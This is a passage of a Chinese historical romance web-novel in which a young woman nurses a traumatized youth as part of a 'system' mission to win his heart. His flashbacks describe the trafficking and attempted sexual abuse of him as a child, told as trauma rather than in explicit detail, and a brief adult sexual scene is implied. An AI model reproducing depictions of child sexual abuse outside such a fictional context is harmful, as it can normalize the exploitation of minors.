当下京都虽风气开放,但不倡导男风,有些癖好特殊的达官贵人便私下到处搜罗漂亮的少年,豢养在府中供人取乐。 他也曾经被一官员看中。 那官员也是百姓口中的好官,廉洁清正、刚直不阿,可谁能想到这样的人背地里居然有此嗜好。 那时候,他尚且只有十五岁,还不懂这些,被下了药之后,浑身失去力气,唯有意识还清醒,被人洗干净送进了那官员的房中。 很快,他就明白过来那人想对他做什么,他不从,便遭到鞭打。 那时他瘦弱,几下就被打得失去了反抗之力,那官员高高在上摸着他的脸,龌龊地感叹道: “世间居然有此尤物,竟然能让我尝到滋味。” 而后,他趁官员不注意之时,一口咬住了那官员的耳朵,任凭对方如何拳打脚踢,他都不松口,直至生生咬掉了对方一只耳朵。 官员震怒,将他关进了柴房,打算活活饿死他。 诸如此类的事,数不胜数。 他浑身紧绷,放在被子中的手控制不住地颤抖,他不顾伤口绷开的疼痛,从枕头下摸到一个尖锐的东西。 是那支簪子。 虽然不清楚为何这东西还在,但他第一时间将簪子握在手中,竭力注意着接下来男人的动静。 满贵将药碗搁在桌子上,“咦”了一声,“你脸色怎么这么难看,伤口难受吗?我再去叫大夫来给你瞧瞧。” 说着,满贵走近了些,却发现榻上的人挣扎着坐了起来,战战兢兢地缩在角落,手虽然还在被子里,但是原本白色的纱布以肉眼可见的速度慢慢变红。 “你干什么?伤口怎么又裂开了,不是才说过让你别动的吗?” 满贵有些生气,骂骂咧咧跑出去找大夫去了。 干净整洁的屋内,少年满身防备地缩在角落,眼睛裹着纱布,被清理干净的墨发如泼墨一般倾泻在素色的被子上。 原本裹着他下半张脸的布条已被拆下,一条褐色的伤疤从左至右贯穿了他整张嘴。他紧紧抿着唇,唇齿将唇生生咬出了血迹,殷红点缀在近乎透明的苍白肌肤上,脆弱得宛若一具内里早已布满裂痕的瓷人。 满贵跑进院子,气喘吁吁道,“叶小姐,再让大夫来看看吧,小人瞧着那人好像脑子也不太正常,刚刚看见我就吓得把手上的伤口也弄裂了。” 叶冬知刚用了午膳,闻言,倒是十分意外。 前两日她将人救回来,请了好几个大夫都说救不活了,就算活下去估计也是废人,不必再花钱了。 是她铁了心要救,用了许多名贵药材,才将人从鬼门关拉回来。 好在有着齐越白给她的酒楼分红,不然她那点月例,实在扛不住她这样折腾。 看来这殷水玉伤得真的很重,足足昏迷了两日,这才醒来。 “我知道了,你先让大夫过去,我晚点过去看看。” 满贵应了声去了。 阿蔷在一旁收拾桌上碗筷,很是不解,“小姐,您为何执意要救那人啊,奴婢瞧着他身上 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实在没办法,满贵只得放下碗,他刚要出门告诉叶冬知,就见一少女正站在门口,身姿绰约,不施粉黛也容颜如画。 虽不是第一次见叶小姐,但每次他都会感叹怎么会有这般好看的人,就像画里的仙子一般。 “叶小姐,小人正要寻您呢,这已经快一天了,不管小人怎么劝,那人他就是不愿意喝药,您进去看看吧。” 叶冬知点头。 她提裙跨过门槛,扑鼻而来的是苦涩的药味。 这间屋子不大,屋内除却床榻、桌椅,柜子便再无他物。 榻上有个人,头发很长,几乎可以盖住他的整个身子,他将自己蜷缩在一起,隐在角落之中,似乎这样就不会那么容易被人发现。 她低声对满贵说,“你先去忙吧,这里我来看着。” 满贵应好,转身出了门去厨房煎药。 直到感觉到男人的气息短暂消失后,殷水玉才微微放松下来。 他的精神已经紧绷到了极限,是以,他一心在黑暗中注意到周遭的动静,压根没听见方才叶冬知与满贵的对话。 他自幼对气味很敏感,刚刚那个男人在时,是很常见的气味,算不上难闻,但也绝对不好闻。 大夫身上的是苦涩的药味,其他味道很弱,所以他才能勉强容忍大夫靠近自己。 这些年他见过的人很多,有人身上充斥着洗刷不掉的血腥味,有人身上是浓重的脂粉味混杂着情欲的味道,有人满身酒气,但这都不算什么。 最难闻的,是充满肮脏欲念的人,那样的人味道与众不同,简单描述的话,是沉重的腥臭味。 过往这种人几乎是在靠近他的瞬间,他就几欲作呕。 叶冬知从桌上端起碗,慢慢挪到床榻前。 与此同时,对方也似乎感觉到了,微微瑟缩了一下。 一股清浅的香风袭来,很淡,不是任何一种香薰的味道。 他缓缓抬起头,脑中迷蒙地想了一会,这个味道,似乎似曾相识。 在他从安南王世子处逃离的那天,在雨水和泥土之中,他想置那位贵女于死地之时,清晰地闻到过。 但他又很快否认了。 怎么会那么巧呢,这十九年来他都倒霉到了极点,怎么偏偏会在临死那刻就这般幸运呢。 察觉到她越发靠近,身体的本能还是驱使他朝后又退了一步。 世家贵女有癖好的人也不在少数,他已经没办法相信任何一个人。 在错乱的思绪中,他听得有人开口: “满贵说你总是不喝药,是怕苦吗?” 殷水玉浑身顿住了。 若说仅仅只有味道他还不敢确定,但这个声音。 他忘不了。 那天,他本来要杀了她,她却给了他簪子,让他活下去。 握在手中的簪子坚硬,一切都在告诉他。 前十九年他受尽苦楚,到此,才终于见到第一束曙光。 他张了张嘴,自喉咙里挤出沙哑、干涩的声音。 “不是。” 叶冬知从救下他到现在,都没看清过他的脸,直到他出声,这特别的音色她才恍然想起,原来两人早就见过面。 她突然很庆幸那天自己心软了,若是如此,那攻略他,想必会比邬涟轻松很多。 毕竟,对于一个绝境下的人来说,她的出现意味着什么,已经不用多说。 她看到他眼睛裹着纱布,看不到她的脸,便越发放柔了声音。 “害怕药里面有东西吗?那我先帮你试试。” 说着,她捏着调羹,舀了一勺药作势要往自己嘴里送。 她弄出的动静很大,两人又离得这么近,即便他看不见,也能知道她现在在做什么。 “别......我喝......” 断断续续的声音从他口中发出,他好似是很少说话,连长一点的句子都说不完整。 叶冬知不动声色地笑了笑,果然很单纯,比邬涟好上手太多。 她舀起一勺药,吹凉了放在他唇边,像哄小孩一般,“啊——张嘴。” 唇边传来一阵湿润,殷水玉无措地张了张唇,喝下了那勺药。 他垂着头,依旧被长发盖着脸,他记得他唇边有很严重的伤疤。 刚才他动作很轻,她应当没有看到。 虽然不知道原因,但他就是下意识不希望她看见。 41. 第 41 章 这碗药他喝得极慢,好似很少被人这样对待过。 以至于喝药时有不少药汁从他口中溢出,滴落在干净的素被之上。 他自己也感觉到了,下意识又瑟缩了一下。 在以往,也有贵人这样待他,但若是他不小心将这样名贵的东西弄散了,那些贵人顷刻间便会翻脸,所有的温柔荡然无存,他面对的只有熟悉无比的殴打与虐待。 一碗药终于见底,叶冬知收了手,见面前的人忽然沉寂了下来,头埋得更低,整张脸都近乎陷进头发里。 她将碗搁置在一旁,想要将他凌乱的头发拨开,却陡然引来他剧烈的颤抖。 在害怕她。 虽然系统没有告诉她更多关于眼前这个少年的信息,但是从仅有的几次见面,他都满身狼狈,如同惊弓之鸟,想来,他的过去该是遭受了常人难以想象的折磨。 若是最开始时,她大概会有些心急,但在攻略邬涟的过程中,她已经积聚了许多耐心。 她轻声说,“我不碰你,别怕。” 少年单薄的脊背如蝉翼,微微弓起来,在他说完这句话后,颤抖才逐渐减缓。 见此,叶冬知也没有再留。 他还需要更多时间来适应,她也需要一些时间来博取他的信任。 走到门口时,她忽而想起什么,对阿蔷说,“去跟满贵说一声,以后他的药我来喂,若是无事,不要进这个房间。” 两道脚步声渐渐远去,直至几乎听不见了,殷水玉浑身的颤抖才终于停止。 他微微抬起头,墨发随着他的动作散开一些,他的唇边还挂着褐色的药汁,落在莹润的唇上恍若沾上污水的粉玉珍珠。 愣愣地呆坐了会,房间里属于她的气味也减淡了些,他将被子里的簪子拾起,凑到鼻下嗅了嗅。 即便过了这么久,这上面的味道已经微乎其微,但他还是能敏锐地嗅出,簪子上也有她的味道。 好闻的。 不危险,没有令人作呕的恶臭。 他不排斥。 此后的一段时间,最高兴的要属满贵。 现下他不用给那病秧子喂药,又少了点差事,但是月例照常不变。 唯一让他想不通的,便是叶小姐为何非要救下这个少年,他瞧来瞧去也没见得有什么特别的。 不过是高了些,至于长什么样,他一点没见着,成天散个头发,坐在床榻上一动不动,又穿着一身白色的中衣,乍一看,跟鬼魂似的。 听说为了救下他,花费的诊金和药材都好几百两了,他满贵怎么遇不上这样的好事,他一个月才二两银子,这还是涨了之后的。 腹诽归腹诽,今日那病秧子好了些,手上的伤已经好得七七八八了。 叶冬知坐在榻边,看大夫给殷水玉拆下手上的纱布。 她依稀记得前些日子救下他时,他的一双手十个指甲全部翻飞,露出里面红色的血肉,又因没得到及时的医治,在盛夏里几乎快要腐烂了,瘆人得很。 手心手背也好不到哪里去,几乎没有肉,皮紧紧贴着骨头,其上全是大小不一的伤痕。 大夫说殷水玉是他行医这些年见过命最硬的人,就这样,这双手居然还没废,只是需要再养一段时间。 纱布一圈圈拆下,指甲的位置已经结了痂。 不难看出,虽然这双手伤痕累累,但骨相优越,细长却不女相。 叶冬知盯着他的手,眉头微皱,都说十指连心,不敢想象指甲全部翻了会是多么骇人的疼痛。 许是她的视线过于明显,又或许是殷水玉这些年来早已练就出一副察言观色的本色,他虽然看不见,但是能清晰地感觉到一道视线,正一眨不眨打量他的手。 他手指轻轻动了动,然后将两只手缩进了被子。 对方疑惑地问他,“你冷吗?” 他抿唇,现下是盛夏,怎么会冷。 只是不想他的手一直被她看着。 他很早就有了美丑的概念,在他刚记事的时候,他总是能从旁人耳中听到诸如此类的话。 “呀,这小娃娃生得跟玉人似的,你说他爹娘长得也一般,他怎就生得这幅好模样。” “真是奇了啊,我老婆子活了五十岁了,从没见过长成他这样的,我敢说方圆十里,不,方圆百里怕是找不出比他更好颜色的人了。” “不过可惜是个男子,若是女子,兴许能入了哪个贵人的眼,就算是妾室,这辈子吃穿也不愁了。” 他长得很漂亮,这是他很小就意识到的。 按理来说,赞扬一个男子的外貌应当说他俊朗,而不是漂亮,所以,当这个词频频出现在他看见他的人口中时,便意味着,未来发生的事,会让他坠入地狱。 长到六岁时,他长大的村庄闹饥荒,饿死了好多人。那时他家里揭不开锅,爹娘饿得面黄肌瘦,这时,有个婆子路过看见了他,对他爹娘说他这张脸生得这么好,若是去贵人府中做个仆役,也比旁人更容易飞黄腾达。 思索再三,爹娘将他两袋米卖了。 他被婆子带走,坐在封闭的牛车里,车上有好几个被爹娘卖掉的,有些比他大,他从他们口中才知道,他们都不是去大户人家做奴仆的,他们都是卖给有特殊癖好的人,做娈童的。 他不知道娈童是什么意思,但从旁人的神情来看,他直觉不是什么好差事,于是他逃了。 这是他记忆中,因为漂亮而逃跑的第一次。 曾有人也夸过他的手很美,但现在...... 他藏在被子里下的手弯了弯手指,摸到了一块硬邦邦的血痂,现在,他的手,应当很丑很丑。 不知道怎么回应她的话,他便继续沉默着。 没等到他的回应,她也没生气,只是笑着道:“我看你好些了,不用吃的那么清淡了,我买了些桂花糕,你要尝尝吗?” 桂花糕他吃过,从小因为家里穷,他没吃过什么好的。 后来辗转被卖,也没有吃过什么好吃的。 他第一次吃到桂花糕时,是十二岁的时候,那时候他被卖到了一个小倌馆,生辰当天,老鸨给他买了份桂花糕,笑眯眯让他多吃点,说这是他的生辰礼物。 他战战兢兢地捻起一块吃了,很好吃,软软糯糯的,不是很甜。 吃完一块后,老鸨笑着问他,“好吃吗?” 他拘谨地点了点头,下一刻老鸨哈哈大笑起来,摸了摸他的头,说,“今夜你好好伺候王掌柜,伺候得好了,你日日都有桂花糕吃。” 原来,那日是他的□□日,这桂花糕里下了药,害怕他年纪小不懂事,让客人不尽兴。 知道之后,他抠着喉咙硬生生将那块桂花糕吐了出来,然后装作若无其事的样子被抬进了王掌柜的房间。 这几年的逃亡奔波,让他明白直接反抗不是明智的选择,他学会了隐忍和蛰伏,于是,在那醉醺醺的王掌柜进来时,他拿着点燃的红烛一把捅进了王掌柜的眼睛里。 滋啦作响的声音响起,血肉烧焦的糊臭味弥漫在房间中,王掌柜惨叫一声的同时,他迅速打开窗,踩上几个脚印,紧接着躲进了挂满纱幔的床底。 很快,老鸨带着打手进来,以为他跳窗逃走了,带着一堆人追了出去,而他趁乱逃到了后厨,躲进了泔水桶里。 就这样,他又逃过了一次。 不堪的记忆依旧清晰无比,他忽然很想吐。 他慌忙捂住嘴,尽管动作已经很小,但太近了,她还是发现了。 “怎么了?不舒服了吗,我去叫大夫来。” 她焦急的话传来,紧接着,是她衣衫摩挲的声音。 如果可以的话,大夫他也不想看,就只有她在这里,挺好的。 衣袖突然被人拉住,刚起身的叶冬知顿住了,她错愕地回头,发现少年偏着头,一只手紧紧攥着她。 “不用......我......很好。” 他低低出声,沙沙的,混合着这个年纪的清冽。 相比于开始,他的声带已经恢复了一些,不再是沙哑沉闷的样子。 大夫说他因为曾受过特别的刑罚,嘴被人割裂过,喉咙也被灌了药,万幸的是药不多,没有将他毒哑。 遭遇过于令人唏嘘,叶冬知听到的时候心口闷闷的,是以之后对他除了任务需要,也多了几分怜爱的真心。 她顺着他又坐了回去,察觉到她坐下,他的手又缩进了被子,不吭声了。 叶冬知猜测他大概是想起了什么不好的事,于是便不再开口提桂花糕的事,只自己捻了块吃了。 她身上的味道混杂着桂花糕的味道,飘进殷水玉鼻间。 好像此刻,也不是那么不能接受。 她的吃相应当很斯文,咀嚼声很轻,但他还是能清晰无比地听到她什么时候张口,牙齿什么时候咬下,又是什么时候吞下的。 那么好吃吗。 她现在吃第三块了。 他不由自主地往她身侧偏头,想听得更清楚一些。 半晌。 “想吃。” 殷水玉低声开口。 叶冬知咀嚼的动作愣了一下,含在口中的桂花糕还没来得及咽下。 方才看起来好像不喜欢啊,怎的又突然想吃了。 她扫了一眼盘子,已经没了,她手上的是最后一块,还是被她咬过的。 想了想,她掰下一块,放到他的唇边。 他总是很小心翼翼,譬如此刻,嘴只张开一点,刚好露出他的唇形,然后缓缓地将东西含进嘴里。 入口的瞬间,桂花裹着糯米的味道蔓延了整个口腔。 他细细咀嚼,嗯......好吃的。 叶冬知看他如仓鼠进食一般,又乖又呆,没忍住轻笑了一声。 听见她的笑声,他咀嚼的动作顿了顿,然后头垂得更低。 他将桂花糕悉数咽下,忽而感觉到有什么东西在触碰他的唇角。 几乎是瞬间,他想躲开,还没来得及动作,她的声音传来,离得他好近,近得他能感觉到她的呼吸,以及唇齿间桂花糕的留香。 “别动,你沾到嘴上了,我给你擦一下。” 绵软冰凉的东西在他唇角细细擦过,他陡然僵住了。 这应当是她随身携带的手帕,泛着和她如出一辙的香味。 他浑身轻颤了颤。 但不是恐惧或者恶心,而是一种...... 一种他无法理解和描述的感觉。 “......贵女。” 叶冬知抬眸看他,“嗯?怎么了?” 他在被子里攥了攥手心,“很好吃。” 她明白过来,他说的是方才的桂花糕。 真不容易啊,来这里都快半个月了吧,总算愿意主动开口说几句话了。 “那下次多给你带点,今日你不早说,都被我吃完了。” 她微有嗔怒,语气鲜活,和平时一样温柔,但又多了几分调皮。 从来没有人用这样的语气和他说话。 他又不知道该说什么了。 若是这样下去,她待会又要离开了。 和殷水玉料想的一样,叶冬知扭头朝外看了看天色,发现已经快酉时了。 虽然她是很想攻略他,但感情这事心急吃不了热豆腐,若是太急切,反而会适得其反。 思及此,她起身,发间的朱钗随着她的动作,发出的细微声响一点不落传入身侧人的耳中。 果然。 她要走了。 那股香味开始变淡,是她已经起身,挪步到了门口。 “那今日我便走了,明日再来看你,若有什么紧急的,唤满贵便是,他就歇在你旁边,不会打扰你的。” “嗯。” 他低声应了声,连他自己也没发现,这个字有些闷闷的。 听到他回应,叶冬知才抬步离开。 外面暗了下来,不似往日还有绯红的云霞。 看来今夜,又会下雨了。 * 行了十日陆路,又行了五六日水路,邬涟才刚到苏州,当地官员早已准备好为他接风洗尘。 苏州不愧为江南的核心地带,此处风景雅致,土肥多雨,百姓安居乐业,一派富庶祥和的景象。 邬涟刚下船,苏州府知府便已在岸边迎接,“久仰邬大人盛名,下官在此等候您多时了。” 苏州知府苏令早就听闻这来苏州府巡查的,乃是近几年的新贵,不过二十三的年纪,如今已是二品大员,颇得圣上器重,此番来苏州府,名为巡查,实为暗访十五年前饷银失踪一案。 听到声音,邬涟冷淡地扫了他一眼,“苏大人客气,带路吧。” 见状,苏令心中一紧,传言邬涟不近人情,待人冷漠,如今看来,比传言还不好接近。 不过好在他这些年兢兢业业,未做过什么亏心事,想来这次,谨慎些也不会出什么差池。 知道邬涟不喜热闹,接风宴就设在苏令府中。 苏府不算很大,府中装潢雅致,颇有江南一带 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这是何等清冷不染尘俗的贵公子,面若冷玉,仪态端方,腰直肩平,一举一动从容有度,矜贵非凡。 来之前她便打听到,京中要来个贵人,是多少京中闺秀的梦中情郎,不仅长得如仙人一般,更是聪颖早慧,十五岁便高中状元,不靠祖荫入仕,到如今已位极人臣。 起初她还有些不信,觉得是吹捧太过,这世上哪来如此完美的人,直到她此刻亲眼看见。 苏令宠女儿在苏州府是人尽皆知的事,其余官员已见怪不怪,纷纷调侃。 “一段时间没见侄女,侄女出落得越发出众了,不知道以后哪家公子有这福气。” “哈哈,那要看咱们知府大人舍不舍得将爱女嫁出去了。” 苏宝珠骄矜地扬了扬唇,虽然这邬涟确实惊艳,但她也不差,她自小美貌过人,更有苏州第一美人的称号,若是她主动些,想必拿下这邬涟也不在话下。 她观察了一圈,发现对方酒杯里已经空了,她婀娜多姿地走过去,露出一个明艳得体的笑,往邬涟酒杯里斟了些酒。 “听说大人是从京都来的,这一路舟车劳顿,才到了我们苏州府,父亲平时勤政爱民,辛劳不已,若是今夜有招待不周的地方,还望大人海涵。” 邬涟不动声色盯着杯中的酒,敛眸道,“苏小姐言重,邬某此番为公,并不在意其他。” 苏宝珠脸红了红,离近了些,才觉得他越发好看了,就连声音也如此好听,这样的男人,若不配她苏宝珠,岂不是可惜了。 “大人今夜可在府中歇息,苏州有一处湖名曰明月湖,景色颇好,不若明日我为大人引路,前去游玩一番?” 闻言,苏令吓了一跳,他这女儿在说什么,方才邬涟才说过此番为公,这才来一日,便要人家明日随她去游湖,这不胡闹吗。 于是,他连忙找补,“邬大人见谅,我这女儿性子热情好客,谁来都想尽一番地主之谊,若是大人不方便便不需理会她,大人公务要紧。” “爹爹!”苏宝珠不悦地叫了一声,她爹怎么能当着别人的面让她下不来台呢。 也不知是不是这一路实在过于劳累,邬涟只觉右眼皮跳得越发厉害,他揉揉额角,方道,“今日乘船许久,邬某有些身体不适,便先回去了,诸位大人尽兴。” 语罢,他没理会身侧苏宝珠眼巴巴的神色,抬步便要离席。 其他人当然是不敢不从,都客套几句,目送他离开。 刚走了没几步,那苏宝珠忽然身子一晃,朝着一旁的邬涟倒去,手中的绢帕也顺势朝前丢去。 邬涟侧目用余光看她,随即在她倒来的瞬间,将一旁的长安扯了过去。 长安顿时就明白了主子的意思,连忙扶住那“柔弱”的苏小姐,“您当心。” 计谋落空的苏宝珠在心里冷哼一声,装什么清高。 她的身子也不是随便一个侍从就能抱的。 从长安的怀里起来,苏宝珠维持着一副受惊的样子,然后指着邬涟脚边落下的手帕娇声道,“邬公子,我的手帕刚不小心掉在你脚边,可否帮我捡一下?” 那帕子她用了点手段,一旦触碰过,那手帕上特殊的香料便会粘在手上久久不散,未来几日,只要他闻到那股香味,便会想起她。 但她显然高估了自己的魅力,邬涟看都没看一眼,长安却立刻领会,将那方帕子捡起来递到苏宝珠跟前:“苏小姐,您的帕子。” 两次计谋接连落空,苏宝珠气得牙痒痒,只好面色不虞地道了句“多谢”。 见此情景,苏令哪还没看出来女儿的心思,虽然他这女儿确实优秀,但也不是能高攀上邬涟的啊。 宫中公主、郡主尚且虎视眈眈,哪能容得下一个小小的地方官员之女啊。 他赶紧给苏宝珠打颜色,示意她不要再鲁莽行事,一边讨好地笑了两声,“东厢房已经打扫好了,若还有什么缺的,您尽管吩咐便是。” “有劳。”邬涟点了点头,面无神色地抬步朝前走去。 等回了厢房,他坐在宽敞的椅子上,整个上身向后仰倒靠在椅背上,烦闷地吐出口气。 这是个非常不合礼仪的姿势,平日他极少如此,只有在思绪混乱的时候才会如此。 他从怀中掏出一块帕子,鹅黄色的底料,绣着的几朵海棠在其上栩栩如生。 也不知她现在在做什么,这个时辰,应当要睡了吧。 真是一点都没良心,那日他走了,她一句嘱咐的话都没说。 苏州没有京都那般热,这个季节夜晚还有些微微凉意。 四下寂静无声,那夜的记忆又不可抑制地上涌。 即便已经过去了这么久,但每到深夜,他却依然觉得无比清晰,记忆中她的娇声、她的模样没有半点褪色。 想着,他又低低叹息一声,她的胆子真的好大。 头脑有些昏沉,邬涟垂眼盯着帕子,手指在其上缓缓摩挲,身体在这样舒适的环境中逐渐燥热起来。 江南的酒果然同京都不一样,入口时绵软,难以让人过分惊艳,然而后劲却很大。 和她一样,表面无害,内里却恶劣至极。 总是轻飘飘说着那些羞耻的话,又面不改色对他做了那样的事,最后居然可以像什么都没发生一样。 他轻轻喘息一声,将那方帕子盖在脸上,伸手撩开衣袍,向身下探去。 42. 第 42 章 子时,雨势来得汹汹。 狂风吹得院外的树枝哗哗作响,雨滴打在屋檐上,噼里啪啦响个不停。 闪电与雷声交替不断,树影落在窗户上,逐渐扭曲不堪。 殷水玉依旧保持着白日的姿势,他靠坐在墙边,墨发散乱,逶迤地落在床榻四周。 又一道雷声炸响,照得屋内亮如白昼。 也照出少年苍白似透玉的面庞。 他贴着墙壁,没有动,手指却死死攥住素被,骨节间青筋暴起,呼吸也随着接踵而至的雷声逐渐急促起来。 隔壁的满贵在雨夜睡得分外香甜,呼噜声混杂着雨声传进他的耳中,却不能使他放松分毫。 他额间渗出薄汗,额发与汗粘在一起。 睡不着,太响了。 小时候他还并不害怕雷声,房子虽然很破,甚至会漏雨,破旧的木门在呼啸的风声中也摇摇欲坠。 但他却安心无比。 后来为什么会开始害怕呢。 他想了一下,与此同时比方才更响的声音猛然响起,本就浅淡的唇被咬得几乎没有一丝血色。 想起来了。 是因为有太多绝望不堪的事发生在这样的雨天了。 嘈杂的雨声可以掩盖很多动静,譬如人的呼救声,施暴者得意的狞笑,再譬如那些费力挣扎最后却变成屈辱的呜咽声。 人都是趋利避害的,危险的闪电和惊雷注定了很少有人会出来,大部分都躲在家中寻求庇护。是以更不可能发现在无人在意的阴暗处,有肮脏丑陋的事正在发生。 雨过天晴后,那些痕迹,不论是血迹亦或者是其他的,都被冲刷得干干净净。 什么也不会被发现。 得逞的人可以在天晴之后继续扮演他廉洁清正的角色,继续过着锦衣玉食的日子。 那些不堪,没人会知道,也不会有人在乎。 殷水玉将自己缩进被子里,紧紧蜷缩着,脊背太过瘦弱,突出的骨头硌到冰冷的墙壁,很不舒服,但没关系。 至少背后不会有人。 躲进被子里后暖和了很多,呼出的气体令他脸上感觉到有些烫。 手触碰到枕头下的簪子,殷水玉慌忙地将它握到手心,将簪子紧紧贴着鼻子,贪婪急促地嗅闻着。 他忽而想。 贵女会害怕这样的雷声和雨吗? 应该是不怕的,她看起来如仙子一般圣洁,不会有机会经历那些肮脏的事。 那她会被这样响的雷声惊醒吗? 也许会的,大概会和他一样躲进被子里。 一想到有这样的可能,他心里竟生出一种奇妙的感觉。 此刻,她可能和他做了一样的事。 其实到如今,殷水玉仍然没想明白贵女为何会救下自己。 他什么都没有,甚至肮脏不堪,唯一有些价值的,便只有这张脸。 贵女也是因为他的脸才救下的他的吗? 他既厌恶又有些庆幸。 可那天,他快死了,脸很疼,应该有很多伤,也没什么好看的。 他将簪子贴近心口。 兴许,只是她心善罢了,而他恰好,走了一次好运。 此刻,突然传来一声开门的声音。 在细密的雨中很小,甚至可以说微不可察,但他敏锐地发现了。 刹那间,他浑身血液仿佛冻住。 果然还是有所企图的吗。 过往的温和只是表象而已,等到他开始放松警惕,甚至满怀感恩的时候才终于露出丑陋的真面目了。 是谁? 他不动声色地握住了簪子,绷紧身子,敛住呼吸,全神贯注地注意着门口的动静。 然后他听到了贵女有些惊讶的声音。 “睡着了啊。” 她压低了声音,只站在房门处,没有再进来。 叶冬知确实是被雷声惊醒了,醒来之后,她忽然想到院子里还有个殷水玉。 一想到他可能经历了很多不堪回首的事,便担心他会不会害怕这样的天气,和这样骇人的雷声。 想着,她便起身过来看看。 她的动作很轻,没有惊醒外间睡着的阿蔷,轻手轻脚地沿着回廊,到了他住的这间卧房。 借着闪电的光,她看到榻上的被子缩成一团,裹在被子里的人纹丝不动,应当是睡熟了。 看来是她多虑了。 想着,她便放下心准备回去。 缩在被子里的殷水玉听到了她抬步的动静。 她只是来看看他,现在要走了。 意识到之后,他慌忙顶开被子,于黑夜中低低唤了一声。 “贵女,您要回去了吗?” 他一直都这般小心翼翼,就连这道声音也不敢太大声。 但叶冬知听见了,她顿住脚步,回头问,“你醒着呀,我以为你睡着了。” 他没再说话了。 孱弱瘦削的少年坐在床榻上,仿佛是因为着急,他的头发散成一团,还有些许混乱地交织在头顶处。 即便眼睛还包着纱布,但叶冬知却感觉那双眼睛正一直一直看着她,半分不曾挪动过。 闪电的光照亮的一瞬,她看见他颤抖了一下。 还是害怕吗。因为害怕,所以缩在被子里一动不动。 她低声叹了口气,连害怕都这样谨慎,让她觉得生出些愧疚,很难想象若是之后他知道,她对他的好是别有用心,那时候,他会怎么办。 她进了屋子,反手将门关好。 顷刻间,殷水玉闻到了她身上的味道,比平日还要浓一些,是因为刚从她的榻上起来吗。 一想到这个,他心脏猛地收缩了一下,然后心跳骤然急促起来。 脚步声逐渐靠近,紧接着,床榻微微下陷,是她坐在了他的床边。 那股香味更浓了。 她轻声问他,“睡不着,是因为害怕打雷吗?” 她发现了,他的心跳得更厉害了。 殷水玉不由得倾了倾身子,朝她身边靠近了点,默不作声又贪婪地嗅着她身上的味道。 “......嗯。” 他应了一声,然后又后悔了。 贵女会觉得他太胆小了吗? 在他的忐忑不安中,她低叹了声,朝他道,“我猜到了。” “你坐过来些。” 她又说了一句。 虽不解她的意图,但他还是乖乖地挪了过去。 离得更近了,她身上好闻的味道充斥着他的整个鼻腔,他几乎感觉到自己要满足地陷入晕厥了。 然而更让他始料不及的事发生了。 ——贵女抱住了他。 他僵住了,一点都不敢动弹。 这次,他闻到了其他的气味。 属于她的,不同的味道。 她的气息就喷洒在他耳侧,他的头发很长,也很密,遮住了他的脸。 此刻他无比庆幸还有着遮挡,若是露出他全部的脸来,想来,贵女应当早就发现了他的异常。 他垂着头,感觉到她的手落在自己的背后,很轻很轻地拍了拍。 温柔得他几乎想要落泪。 “现在好些了吗,还怕吗?” 叶冬知开口。 从救下他的那天,她就知道他很瘦,他的身躯被宽大的中衣包裹着,在他每一次的瑟缩中,可以轻而易举地发现中衣下面空荡荡的。 但是让她感到惊讶的是,她没想过会这么瘦。 瘦到她的手放上去,第一时间触碰到的,是他突起的蝴蝶骨,有些硌人。 若不是他的肩很宽,她几乎要以为怀里的,是个瘦弱的孩童。 她不由得道,“怎么这么瘦啊,每日的饭食你都吃了吗?” 他想起来,每到用膳的时辰,满贵会把饭菜给他放在桌子上,两荤两素加上一汤。 对于他而言,已经是极好的饭菜了,但他用了几口便没了兴趣,也吃不下。 这些年他活在提心吊胆中,时时刻刻提防着算计与虐打,饭食只是吊着命而已。 “吃了。” 他小心地回答着,他敏锐地感觉出来,在问完那句话后,贵女有些不高兴了。 想着,他低声补了一句,“贵女......我吃得很少。” 她一边轻拍着他的后背,一边嘱咐,“以后要多吃一点,吃这么少,你的伤要何时才能好?” “这样,明日我过来同你一块吃。” 殷水玉觉得今夜的一切都太不真实了。 她不仅安抚怕打雷的他,还要同他一起用膳。 心口被不知名的情绪胀满,他掩盖在头发之下的唇角,不由自主翘了翘。 “好。” 外面雷声依旧,但奇异地,没有那么可怕。 察觉到他身体的颤抖缓缓消失后,叶冬知松开了他。 怅然若失的感觉袭来,他无措地攥了攥被子下的手指。 是他做错什么了吗,不然贵女为何放开了他。 他荒唐地想,若是雷再响一些,贵女会不会再多抱他一会。 叶冬知不知道他心里的想法,见他垂着头,像往常一样陷入沉默。 刚刚搂着他的时候,她摸到了他的头发。 顺滑柔软,很黑,是极漂亮的头发,但是他好像从不在意,也没有用心打理过。 她站起身,借着闪电透进来的光,视线扫过他房间内简易的设施,在桌子上看到一柄简单的木梳。 身后的少年静静坐着,抬起头,被覆住的眼睛也仿佛能看见一般,紧紧地追随着她的身影。 叶冬知拾起梳子,坐回了床榻边,“过来,我给你梳梳头发。” 梳......梳头? 那是亲密之人才会做的事,他幼时见过他爹给他娘梳过一次。 他抿唇,贵女应当知道这意味着什么。 她主动提出要给他梳头,会是因为这个原因吗。 但显然不是,殷水玉心里很明白,他只是一个低贱之人,无权无势无财,而贵女出身高贵,貌若神女,又心善温柔,与他,简直云泥之别。 带着莫名低落的心思,他还是听话地凑近了些,方便她的动作,这样她不会太费劲。 事实上叶冬知还真不知道梳头意味着什么,她只是觉得他头发乱糟糟的,看得她有些不舒服。 她一下一下极有耐心地将他打结的头发梳开,尽量动作轻柔,免得扯到他的头皮。 殷水玉知道自己的头发此刻尽数落在她手心里,被她小心对待。 每根头发都沾上她的味道,被她的目光注视过,怜爱过。 他忽然好想哭。 世上怎么会有贵女这般的人,令他要抑制不住地想要再靠近一点。 一点点,一点点他就满足了。 她宁静温柔的声音随着她的动作缓缓响起。 “我小时候也很怕打雷,也怕闪电,即便我躲在被子里,也总觉得会透过房屋将我劈死。” “后来长大了些便不怎么怕了,只是觉得吵。” 殷水玉静静听着,他想,闪电也不会舍得落在贵女身上的。 若是真的劈下来,那就先劈死他吧。 他的思绪浸在乱七八糟里,直到她的手将面前的头发拨开。 一只手陡然握住了她的手腕,她顿住了,不解地看着他。 “怎么了?” 似乎是觉得过于突然和冒犯,他的手很快撤下来,改为拉住她的袖子。 “......不要。” 他低声喃喃。 叶冬知没听清楚,又问了一遍,“什么不要?” 殷水玉只觉他应该要说的话,此刻却卡在喉咙里,说不出来。 被她救下的这些日子,他一直都拿头发挡住自己的脸。 他深刻地知道,他唇边的伤疤过于丑陋和骇人,她不会想要看到的。 更重要的是,如果她看到了,不会再这样对他的话,该怎么办? 他自厌地垂头,若是,他的下半张脸和常人无异,那便好了。 这道疤的由来,其实也很久了。 